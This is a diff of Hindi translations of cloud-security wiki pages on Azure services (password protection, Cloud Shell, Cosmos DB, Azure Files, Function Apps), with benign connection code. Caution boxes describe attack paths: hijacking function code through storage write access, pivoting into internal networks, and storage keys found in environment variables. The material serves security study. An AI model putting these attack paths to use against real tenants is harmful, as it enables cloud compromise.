Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है** जब कई असफल लॉगिन प्रयास होते हैं, तो खातों को लॉक करके।\
|
||||
Entra पासवर्ड सुरक्षा ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) एक सुरक्षा विशेषता है जो **कमजोर पासवर्ड के दुरुपयोग को रोकने में मदद करती है जब कई असफल लॉगिन प्रयास होते हैं**।\
|
||||
यह एक **कस्टम पासवर्ड सूची** को भी **बैन** करने की अनुमति देती है जिसे आपको प्रदान करना होगा।
|
||||
|
||||
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर लागू किया जा सकता है।
|
||||
यह **क्लाउड स्तर** और ऑन-प्रिमाइसेस सक्रिय निर्देशिका दोनों पर **लागू** किया जा सकता है।
|
||||
|
||||
डिफ़ॉल्ट मोड **ऑडिट** है:
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
**Environment**: Azure Cloud Shell एक सुरक्षित वातावरण प्रदान करता है जो Azure Linux पर चलता है, जो Microsoft का अपना Linux वितरण है जिसे क्लाउड अवसंरचना के लिए डिज़ाइन किया गया है। Azure Linux रिपॉजिटरी में शामिल सभी पैकेज Microsoft द्वारा आंतरिक रूप से संकलित किए गए हैं ताकि सप्लाई चेन हमलों से सुरक्षा की जा सके।
|
||||
**Preinstalled Tools**: Cloud Shell में Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, और vim, nano, और emacs जैसे टेक्स्ट संपादकों जैसे प्रीइंस्टॉल्ड टूल्स का एक व्यापक सेट शामिल है। ये टूल उपयोग के लिए तैयार हैं। स्थापित पैकेज और मॉड्यूल की सूची के लिए आप "Get-Module -ListAvailable", "tdnf list" और "pip3 list" का उपयोग कर सकते हैं।
|
||||
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां फ़ाइलें सत्र समाप्त होने पर हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
|
||||
**$HOME persistence**: जब आप पहली बार Azure Cloud Shell शुरू करते हैं, तो आप इसे एक जुड़े स्टोरेज खाते के साथ या बिना उपयोग कर सकते हैं। स्टोरेज को न जोड़ने का विकल्प एक अस्थायी सत्र बनाता है जहां सत्र समाप्त होने पर फ़ाइलें हटा दी जाती हैं। सत्रों के बीच फ़ाइलों को बनाए रखने के लिए, एक स्टोरेज खाता माउंट करें, जो स्वचालित रूप से **$HOME\clouddrive** के रूप में जुड़ता है, आपके **$HOME** निर्देशिका को Azure फ़ाइल शेयर में **.img** फ़ाइल के रूप में सहेजा जाता है। हालाँकि, $HOME के बाहर फ़ाइलें और मशीन की स्थितियाँ बनाए नहीं रखी जाती हैं। SSH कुंजियों जैसे रहस्यों को सुरक्षित रूप से संग्रहीत करने के लिए, Azure Key Vault का उपयोग करें।
|
||||
**Azure drive (Azure:)**: Azure Cloud Shell में PowerShell Azure ड्राइव (Azure:) शामिल है, जो फ़ाइल सिस्टम-जैसे कमांड का उपयोग करके Compute, Network, और Storage जैसे Azure संसाधनों के आसान नेविगेशन की अनुमति देता है। Azure ड्राइव पर स्विच करने के लिए cd Azure: का उपयोग करें और अपने होम निर्देशिका पर लौटने के लिए cd ~ का उपयोग करें। आप किसी भी ड्राइव से संसाधनों का प्रबंधन करने के लिए Azure PowerShell cmdlets का उपयोग कर सकते हैं।
|
||||
**Custom Tool Installation**: उपयोगकर्ता जो Cloud Shell को एक स्टोरेज खाते के साथ कॉन्फ़िगर करते हैं, वे अतिरिक्त टूल स्थापित कर सकते हैं जिन्हें रूट अनुमतियों की आवश्यकता नहीं होती है। यह सुविधा Cloud Shell वातावरण के आगे अनुकूलन की अनुमति देती है, जिससे उपयोगकर्ता अपनी सेटअप को अपनी विशिष्ट आवश्यकताओं के अनुसार अनुकूलित कर सकते हैं।
|
||||
|
||||
|
||||
@@ -4,11 +4,11 @@
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ उद्यम-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-क्षेत्र डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण जैसी AI डेटाबेस सुविधाओं के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
|
||||
**Azure Cosmos DB** एक पूरी तरह से **प्रबंधित NoSQL, रिलेशनल, और वेक्टर डेटाबेस** है जो एकल-अंक मिलीसेकंड प्रतिक्रिया समय, स्वचालित स्केलेबिलिटी, और SLA-समर्थित उपलब्धता के साथ एंटरप्राइज-ग्रेड सुरक्षा प्रदान करता है। यह टर्नकी मल्टी-रीजन डेटा वितरण, ओपन-सोर्स APIs, लोकप्रिय भाषाओं के लिए SDKs, और AI डेटाबेस सुविधाओं जैसे एकीकृत वेक्टर समर्थन और निर्बाध Azure AI एकीकरण के माध्यम से तेज ऐप विकास को सक्षम बनाता है।
|
||||
|
||||
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-मान, ग्राफ, और कॉलम-परिवार डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
|
||||
Azure Cosmos DB वास्तविक दुनिया के डेटा को दस्तावेज़, रिलेशनल, की-वैल्यू, ग्राफ, और कॉलम-फैमिली डेटा मॉडल का उपयोग करके मॉडल करने के लिए कई डेटाबेस APIs प्रदान करता है, ये APIs NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin और Table हैं।
|
||||
|
||||
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें मजबूत से अंततः स्थिरता तक के विकल्प होते हैं।
|
||||
CosmosDB का एक प्रमुख पहलू Azure Cosmos Account है। **Azure Cosmos Account** डेटाबेस के लिए प्रवेश बिंदु के रूप में कार्य करता है। खाता वैश्विक वितरण, स्थिरता स्तर, और उपयोग किए जाने वाले विशिष्ट API जैसे महत्वपूर्ण सेटिंग्स को निर्धारित करता है, जैसे NoSQL। खाते के माध्यम से, आप वैश्विक पुनरुत्पादन को कॉन्फ़िगर कर सकते हैं ताकि डेटा कई क्षेत्रों में कम-लेटेंसी पहुंच के लिए उपलब्ध हो। इसके अतिरिक्त, आप प्रदर्शन और डेटा सटीकता के बीच संतुलन बनाने के लिए एक स्थिरता स्तर चुन सकते हैं, जिसमें Strong से लेकर Eventual consistency तक के विकल्प होते हैं।
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API एक दस्तावेज़-आधारित API है जो JSON को अपने डेटा प्रारूप के रूप में उपयोग करता है। यह JSON वस्तुओं को क्वेरी करने के लिए SQL-जैसी क्वेरी सिंटैक्स प्रदान करता है, जिससे यह संरचित और अर्ध-संरचित डेटा के साथ काम करने के लिए उपयुक्त बनाता है। सेवा का एंडपॉइंट है:
|
||||
@@ -110,7 +110,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
|
||||
|
||||
#### कनेक्शन
|
||||
|
||||
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
|
||||
azure-cosmosDB (pip install azure-cosmos) लाइब्रेरी को कनेक्ट करने के लिए आवश्यक है। इसके अतिरिक्त, एंडपॉइंट और कुंजी कनेक्शन बनाने के लिए महत्वपूर्ण घटक हैं।
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
@@ -175,7 +175,7 @@ container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
### MongoDB
|
||||
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह समेकन क्षमताओं के साथ एक क्वेरी भाषा प्रदान करता है, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
|
||||
MongoDB NoSQL API एक दस्तावेज़-आधारित API है जो अपने डेटा प्रारूप के रूप में JSON-जैसे BSON (Binary JSON) का उपयोग करता है। यह एक क्वेरी भाषा प्रदान करता है जिसमें समेकन क्षमताएँ होती हैं, जिससे यह संरचित, अर्ध-संरचित, और असंरचित डेटा के साथ काम करने के लिए उपयुक्त होता है। सेवा का एंडपॉइंट आमतौर पर इस प्रारूप का पालन करता है:
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
@@ -287,30 +287,30 @@ document = {
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## विशेषाधिकार वृद्धि
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-cosmosDB-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## करने के लिए
|
||||
## ToDo
|
||||
|
||||
* यहाँ बाकी DB, टेबल, कैसेंड्रा, ग्रेमलिन...
|
||||
* पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर एक नज़र डालें क्योंकि यहाँ विशेषाधिकार वृद्धि हो सकती है
|
||||
* पुनर्स्थापनों पर एक नज़र डालें
|
||||
* पोस्ट एक्सप्लोइटेशन "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" और भूमिका परिभाषाओं पर ध्यान दें क्योंकि यहाँ प्रिवेस्क हो सकता है
|
||||
* रिस्टोर पर ध्यान दें
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
|
||||
**Azure Files** एक पूरी तरह से प्रबंधित क्लाउड फ़ाइल स्टोरेज सेवा है जो साझा फ़ाइल स्टोरेज प्रदान करती है जिसे मानक **SMB (Server Message Block)** और **NFS (Network File System)** प्रोटोकॉल के माध्यम से एक्सेस किया जा सकता है। हालांकि मुख्य प्रोटोकॉल SMB है, NFS Azure फ़ाइल शेयर Windows के लिए समर्थित नहीं हैं (के अनुसार [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))। यह आपको अत्यधिक उपलब्ध नेटवर्क फ़ाइल शेयर बनाने की अनुमति देता है जिन्हें कई वर्चुअल मशीनों (VMs) या ऑन-प्रिमाइसेस सिस्टम द्वारा एक साथ एक्सेस किया जा सकता है, जिससे वातावरणों के बीच फ़ाइल साझा करना आसान हो जाता है।
|
||||
|
||||
### Access Tiers
|
||||
|
||||
@@ -150,7 +150,7 @@ az-storage.md
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-file-share-post-exploitation.md
|
||||
|
||||
@@ -4,99 +4,99 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
|
||||
**Azure Function Apps** एक **serverless compute service** हैं जो आपको छोटे कोड के टुकड़े, जिन्हें **functions** कहा जाता है, को बिना अंतर्निहित बुनियादी ढांचे का प्रबंधन किए चलाने की अनुमति देती हैं। इन्हें विभिन्न ट्रिगर्स के जवाब में कोड निष्पादित करने के लिए डिज़ाइन किया गया है, जैसे कि **HTTP अनुरोध, टाइमर, या अन्य Azure सेवाओं** से घटनाएँ जैसे Blob Storage या Event Hubs। Function Apps कई प्रोग्रामिंग भाषाओं का समर्थन करते हैं, जिसमें C#, Python, JavaScript, और Java शामिल हैं, जिससे ये **event-driven applications**, वर्कफ़्लो को स्वचालित करने, या सेवाओं को एकीकृत करने के लिए बहुपरकारी बनाते हैं। ये लागत-कुशल हैं, क्योंकि आप आमतौर पर केवल उस समय के लिए भुगतान करते हैं जब आपका कोड चलता है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि **Functions App Services का एक उपसमुच्चय हैं**, इसलिए, यहां चर्चा की गई कई सुविधाएँ Azure Apps (`webapp` in cli) के रूप में बनाए गए अनुप्रयोगों द्वारा भी उपयोग की जाएंगी।
|
||||
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: **डायनामिक, इवेंट-ड्रिवेन स्केलिंग** के साथ पे-एज़-यू-गो मूल्य निर्धारण प्रदान करता है, मांग के आधार पर फ़ंक्शन उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **वर्चुअल नेटवर्किंग** और **पूर्व-प्रावधानित उदाहरणों** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **परिवर्तनीय कार्यभार** के लिए उपयुक्त है जिसे कंटेनर समर्थन की आवश्यकता नहीं है।
|
||||
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब कंप्यूट संसाधनों के लिए भुगतान करते हैं जब फ़ंक्शन चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **कोल्ड स्टार्ट ऑप्टिमाइजेशन** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। स्वचालित स्केलिंग की आवश्यकता वाले **अवधिक कार्यभार** के लिए आदर्श।
|
||||
- **Premium Plan**: **संगत प्रदर्शन** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **पूर्व-गर्म श्रमिक** होते हैं। यह **विस्तारित निष्पादन समय, वर्चुअल नेटवर्किंग** प्रदान करता है, और **कस्टम लिनक्स छवियों** का समर्थन करता है, जिससे यह **मिशन-क्रिटिकल अनुप्रयोगों** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
|
||||
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **पूर्वानुमेय बिलिंग** होती है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **कंप्यूट आइसोलेशन** प्रदान करता है, और **App Service Environments** के माध्यम से **सुरक्षित नेटवर्क एक्सेस** सुनिश्चित करता है, जिससे यह **लंबे समय तक चलने वाले अनुप्रयोगों** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
|
||||
- **Container Apps**: एक प्रबंधित वातावरण में **कंटेनराइज्ड फ़ंक्शन ऐप्स** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU प्रोसेसिंग** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **इवेंट-ड्रिवेन, स्केलेबल कंटेनराइज्ड अनुप्रयोगों** के लिए आदर्श।
|
||||
- **Flex Consumption Plan**: **dynamic, event-driven scaling** के साथ pay-as-you-go मूल्य निर्धारण प्रदान करता है, मांग के आधार पर function उदाहरणों को जोड़ने या हटाने की अनुमति देता है। यह **virtual networking** और **pre-provisioned instances** का समर्थन करता है ताकि ठंडी शुरुआत को कम किया जा सके, जिससे यह **variable workloads** के लिए उपयुक्त है जिन्हें कंटेनर समर्थन की आवश्यकता नहीं है।
|
||||
- **Traditional Consumption Plan**: डिफ़ॉल्ट serverless विकल्प, जहां आप **केवल तब compute resources के लिए भुगतान करते हैं जब functions चलते हैं**। यह आने वाली घटनाओं के आधार पर स्वचालित रूप से स्केल करता है और इसमें **cold start optimizations** शामिल हैं, लेकिन यह कंटेनर तैनाती का समर्थन नहीं करता है। **intermittent workloads** के लिए आदर्श जो स्वचालित स्केलिंग की आवश्यकता होती है।
|
||||
- **Premium Plan**: **consistent performance** के लिए डिज़ाइन किया गया है, जिसमें ठंडी शुरुआत को समाप्त करने के लिए **prewarmed workers** होते हैं। यह **extended execution times, virtual networking** प्रदान करता है, और **custom Linux images** का समर्थन करता है, जिससे यह **mission-critical applications** के लिए आदर्श है जिन्हें उच्च प्रदर्शन और उन्नत सुविधाओं की आवश्यकता होती है।
|
||||
- **Dedicated Plan**: समर्पित वर्चुअल मशीनों पर चलता है जिसमें **predictable billing** होता है और मैनुअल या स्वचालित स्केलिंग का समर्थन करता है। यह एक ही योजना पर कई ऐप चलाने की अनुमति देता है, **compute isolation** प्रदान करता है, और App Service Environments के माध्यम से **secure network access** सुनिश्चित करता है, जिससे यह **long-running applications** के लिए आदर्श है जिन्हें लगातार संसाधन आवंटन की आवश्यकता होती है।
|
||||
- **Container Apps**: एक प्रबंधित वातावरण में **containerized function apps** को तैनात करने की अनुमति देता है, माइक्रोसर्विसेज और APIs के साथ। यह कस्टम पुस्तकालयों, विरासती ऐप माइग्रेशन, और **GPU processing** का समर्थन करता है, जिससे Kubernetes क्लस्टर प्रबंधन समाप्त हो जाता है। **event-driven, scalable containerized applications** के लिए आदर्श।
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
जब एक नया फ़ंक्शन ऐप बनाया जाता है जो कंटेनराइज नहीं होता (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य फ़ंक्शन से संबंधित डेटा एक स्टोरेज खाते में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
|
||||
जब एक नया Function App बनाया जाता है जो कंटेनर नहीं है (लेकिन चलाने के लिए कोड देता है), तो **कोड और अन्य Function से संबंधित डेटा एक Storage account में संग्रहीत किया जाएगा**। डिफ़ॉल्ट रूप से, वेब कंसोल प्रत्येक फ़ंक्शन के लिए कोड संग्रहीत करने के लिए एक नया बनाएगा।
|
||||
|
||||
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार फ़ंक्शन को कॉल करने पर निष्पादित किया जाएगा**।
|
||||
इसके अलावा, बकेट के अंदर कोड को संशोधित करने पर (जिस विभिन्न प्रारूपों में इसे संग्रहीत किया जा सकता है), **ऐप का कोड नए कोड में संशोधित किया जाएगा और अगली बार जब Function को कॉल किया जाएगा तो इसे निष्पादित किया जाएगा**।
|
||||
|
||||
> [!CAUTION]
|
||||
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और फ़ंक्शन ऐप के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
|
||||
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि **इस बकेट पर लिखने की पहुंच** एक हमलावर को **कोड से समझौता करने और Function App के अंदर प्रबंधित पहचान को बढ़ाने** की अनुमति देगी।
|
||||
>
|
||||
> इस पर अधिक जानकारी **privilege escalation section** में है।
|
||||
|
||||
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
|
||||
यह भी संभव है कि **master और functions keys** को स्टोरेज अकाउंट में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
|
||||
|
||||
ध्यान दें कि फ़ंक्शन भी कोड को एक दूरस्थ स्थान पर संग्रहीत करने की अनुमति देते हैं बस इसके लिए URL निर्दिष्ट करके।
|
||||
ध्यान दें कि Functions को एक दूरस्थ स्थान पर कोड संग्रहीत करने की अनुमति भी है, बस इसके लिए URL निर्दिष्ट करके।
|
||||
|
||||
### Networking
|
||||
|
||||
HTTP ट्रिगर का उपयोग करते हुए:
|
||||
|
||||
- यह संभव है कि **इंटरनेट से किसी फ़ंक्शन को सभी को एक्सेस देने** के लिए कोई प्रमाणीकरण की आवश्यकता न हो या IAM आधारित एक्सेस दिया जाए। हालांकि, इस एक्सेस को प्रतिबंधित करना भी संभव है।
|
||||
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक फ़ंक्शन ऐप को **एक्सेस दिया जाए या प्रतिबंधित किया जाए**।
|
||||
- यह संभव है कि **इंटरनेट से एक फ़ंक्शन को सभी को पहुंच प्रदान करें** बिना किसी प्रमाणीकरण की आवश्यकता के या IAM आधारित पहुंच प्रदान करें। हालांकि, इस पहुंच को प्रतिबंधित करना भी संभव है।
|
||||
- यह भी संभव है कि **एक आंतरिक नेटवर्क (VPC)** से एक Function App को **पहुंच प्रदान करें या प्रतिबंधित करें**।
|
||||
|
||||
> [!CAUTION]
|
||||
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर फ़ंक्शन से इंटरनेट पर आंतरिक नेटवर्क में पिवट किया जा सके**।
|
||||
> यह हमलावरों के दृष्टिकोण से बहुत दिलचस्प है क्योंकि यह संभव है कि **एक कमजोर Function से आंतरिक नेटवर्क पर पिवट करना**।
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
यह ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज खाते की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज खाते से कोड निष्पादित करने के लिए होती है।
|
||||
यह एक ऐप के अंदर पर्यावरण चर को कॉन्फ़िगर करना संभव है, जिसमें संवेदनशील जानकारी हो सकती है। इसके अलावा, डिफ़ॉल्ट रूप से env चर **`AzureWebJobsStorage`** और **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (अन्य के बीच) बनाए जाते हैं। ये विशेष रूप से दिलचस्प हैं क्योंकि वे **ऐप्लिकेशन के डेटा को नियंत्रित करने के लिए स्टोरेज अकाउंट की कुंजी को पूर्ण अनुमतियों के साथ** शामिल करते हैं। इन सेटिंग्स की आवश्यकता भी स्टोरेज अकाउंट से कोड निष्पादित करने के लिए होती है।
|
||||
|
||||
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि फ़ंक्शन कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
|
||||
ये env चर या कॉन्फ़िगरेशन पैरामीटर यह भी नियंत्रित करते हैं कि Function कोड को कैसे निष्पादित करता है, उदाहरण के लिए यदि **`WEBSITE_RUN_FROM_PACKAGE`** मौजूद है, तो यह उस URL को इंगित करेगा जहां ऐप्लिकेशन का कोड स्थित है।
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
लिनक्स सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि पायथन का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
|
||||
Linux सैंडबॉक्स के अंदर स्रोत कोड **`/home/site/wwwroot`** में फ़ाइल **`function_app.py`** (यदि Python का उपयोग किया गया है) में स्थित है, कोड चलाने वाला उपयोगकर्ता **`app`** है (बिना sudo अनुमतियों के)।
|
||||
|
||||
एक **Windows** फ़ंक्शन में NodeJS का उपयोग करते हुए कोड **`C:\home\site\wwwroot\HttpTrigger1\index.js`** में स्थित था, उपयोगकर्ता नाम **`mawsFnPlaceholder8_f_v4_node_20_x86`** था और यह **groups** का हिस्सा था: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`।
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
|
||||
जैसे कि [**VMs**](vms/index.html) में, फ़ंक्शंस के पास **Managed Identities** के 2 प्रकार हो सकते हैं: सिस्टम असाइन और यूजर असाइन।
|
||||
जैसे कि [**VMs**](vms/index.html) में, Functions के पास **Managed Identities** के 2 प्रकार हो सकते हैं: System assigned और User assigned।
|
||||
|
||||
